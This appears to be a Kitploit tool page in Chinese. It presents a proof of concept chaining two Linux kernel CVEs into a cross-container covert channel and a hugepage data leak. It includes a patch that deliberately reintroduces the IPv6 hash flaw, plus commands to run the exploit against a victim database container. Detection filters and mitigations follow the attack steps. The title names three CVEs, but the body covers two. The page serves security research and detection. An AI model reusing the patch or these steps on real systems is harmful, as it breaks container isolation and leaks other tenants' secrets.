Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-1206-CVE-2025-40040-CVE-2024-49882 — 3个Linux内核漏洞链,用于安全通信应用,利用侧信道建立密钥并建立隐蔽通道; | Kitploit
工具/GitHubGitHub/spiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882
容器安全漏洞利用数据泄露网络安全容器逃逸二进制利用
GitHubspiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882

CVE-2023-1206-CVE-2025-40040-CVE-2024-49882

3个Linux内核漏洞链,用于安全通信应用,利用侧信道建立密钥并建立隐蔽通道;

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
1248个月前尚未审核

组合隐蔽信道:CVE-2023-1206 + CVE-2024-49882

概述

本项目演示了利用两个Linux内核漏洞构建的隐蔽通信信道:

组件CVE目的
同步信道CVE-2023-1206通过IPv6哈希碰撞时序实现时钟同步
数据信道CVE-2024-49882通过大页泄漏实现跨容器数据传输
root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                        非加密隐蔽信道                                 │
├─────────────────────────────────────────────────────────────────────┤
│  容器A(发送方)                         容器B(接收方)               │
│  ┌─────────────────┐               ┌─────────────────┐              │
│  │ 1. 写入数据      │               │ 4. 检测同步      │              │
│  │    到大页       │               │    前导码       │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   IPv6 Hash   ┌─────────────────┐              │
│  │ 2. 发送同步      │──碰撞时序──▶│ 5. 测量          │              │
│  │    前导码       │               │    延迟          │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   大页重用    ┌─────────────────┐              │
│  │ 3. 释放          │───────────▶│ 6. 捕获          │              │
│  │    大页          │               │    泄漏数据      │              │
│  └─────────────────┘               └─────────────────┘              │
└─────────────────────────────────────────────────────────────────────┘

前提条件

1. 内核设置(CVE-2023-1206)

你需要使用重新引入该漏洞的内核6.12:

root@kitploit:~
# Clone kernel source
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12

# Apply vulnerability patch
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
 /* more secured version of ipv6_addr_hash() */
 static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
 {
-	return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+	u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+	return jhash_3words(v,
+			    (__force u32)a->s6_addr32[2],
+			    (__force u32)a->s6_addr32[3],
+			    initval);
 }
EOF

patch -p1 < /tmp/vuln_patch.patch

# Build and install
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub

# Reboot into vulnerable kernel
sudo reboot

2. 大页设置(CVE-2024-49882)

root@kitploit:~
# Allocate hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Verify
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

# Load udmabuf module
sudo modprobe udmabuf

# Verify /dev/udmabuf exists
ls -la /dev/udmabuf

3. Docker 设置

root@kitploit:~
# Install Docker with IPv6 support
sudo apt-get update
sudo apt-get install -y docker.io docker-compose

# Enable IPv6 in Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
  "ipv6": true,
  "fixed-cidr-v6": "fd00::/80",
  "experimental": true,
  "ip6tables": true
}
EOF

sudo systemctl restart docker

快速开始

构建所有组件

root@kitploit:~
cd ~/covert_channel

# Build on host
make

# Build Docker containers
docker-compose build

测试1:验证 CVE-2023-1206(同步信道)

root@kitploit:~
# Run collision test
./test_collision

# Expected output:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!

测试2:跨容器数据泄漏(CVE-2024-49882)

root@kitploit:~
# Terminal 1: Start victim database
docker-compose up victim_db

# Terminal 2: Run attacker
docker-compose run --rm attacker
# Inside container:
cd /exploit
./exploit_debug

# Terminal 3: Stop victim to trigger leak
docker stop victim_db

# Watch Terminal 2 for leaked secrets!

测试3:完整隐蔽信道

root@kitploit:~
# Terminal 1: Start receiver
docker-compose run --rm receiver
cd /exploit
./covert_channel -r

# Terminal 2: Start sender
docker-compose run --rm sender
cd /exploit
./covert_channel -s "SECRET MESSAGE FROM CONTAINER A"

# Watch Terminal 1 receive the message!

Wireshark 分析

捕获设置

root@kitploit:~
# On host, capture Docker bridge traffic
sudo tcpdump -i docker0 -w covert_channel.pcap

# Or capture specific network
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap

Wireshark 过滤器

root@kitploit:~
# Filter for sync channel (IPv6 TCP SYN floods)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0

# Filter for specific collision bucket traffic
ipv6.dst contains 20:01:0d:b8

# Filter by port
tcp.port == 31337

# Show only connection attempts (no data)
tcp.len == 0 && tcp.flags.syn == 1

# Time-based analysis (connections per second)
# Statistics -> I/O Graphs -> Y Axis: Packets/s

检查要点

  1. 同步前导码:交替的SYN数据包突发

    • 高数据包率出现在 '1' 比特期间
    • 低/无数据包出现在 '0' 比特期间
  2. 时序模式:

    • 约100ms的比特持续时间
    • 超过1000个连接的突发
  3. IPv6 地址模式:

    • 所有源地址将具有相同的 XOR(addr[0], addr[1])
    • 这是碰撞签名

Wireshark Lua 解析器(可选)

保存为 ~/.local/lib/wireshark/plugins/covert_channel.lua:

root@kitploit:~
-- Covert Channel Dissector for CVE-2023-1206

local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")

local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)
    -- Check for IPv6 TCP SYN
    if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
        local src = pinfo.ipv6_src
        -- Check for collision pattern
        local a0 = src:get_bytes(0, 4)
        local a1 = src:get_bytes(4, 4)
        -- XOR check would go here
        
        local subtree = tree:add(covert_proto, buffer())
        subtree:add(f_collision, true)
    end
end

-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)

使用 tshark 可视化

root@kitploit:~
# Live packet rate graph
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# Extract timing data for plotting
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
    -Y "tcp.flags.syn==1" > timing_data.csv

# Plot with gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF

故障排除

没有可用的大页

root@kitploit:~
# Check current allocation
cat /proc/meminfo | grep Huge

# Increase allocation
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# If fails, try after dropping caches
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

udmabuf 不可用

root@kitploit:~
# Load module
sudo modprobe udmabuf

# If missing, may need to enable in kernel config
# CONFIG_UDMABUF=m

# Create device if missing
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')

Docker 中 IPv6 不工作

root@kitploit:~
# Enable IPv6 forwarding
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Check Docker network
docker network inspect covert_net | grep -A5 IPv6

# Recreate network with IPv6
docker-compose down
docker network rm covert_channel_covert_net
docker-compose up

同步信道时序问题

root@kitploit:~
# Increase bit duration for more reliable detection
# Edit covert_channel.c:
#define SYNC_BIT_DURATION_MS 200  # Increase from 100

# Increase threshold if false positives
#define SYNC_THRESHOLD 3.0  # Increase from 2.0

安全影响

这演示了多个严重的安全问题:

  1. 容器隔离绕过:大页重用导致容器间数据泄漏
  2. 隐蔽通信:基于时序的信道绕过网络监控
  3. 无需加密:信道本身具有隐蔽性;添加加密使其无法检测

缓解措施

  1. 禁用大页:echo 0 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
  2. 更新内核至已修补版本(6.5+)
  3. 在Docker中使用 --security-opt=no-new-privileges
  4. 监控异常的 TCP SYN 模式

文件

参考

  • CVE-2023-1206: https://bugzilla.redhat.com/show_bug.cgi?id=2175903
  • CVE-2024-49882: Linux内核大页漏洞
  • 内核补丁:d11b0df7ddf1831f3e170972f43186dad520bfcc
下载工具
文件描述
covert_channel.c组合同步与数据信道
exploit_debug.cCVE-2024-49882 仅数据信道
test_collision.cCVE-2023-1206 验证
timing_channel.c同步信道演示
docker-compose.yml容器设置
Dockerfile.*容器构建文件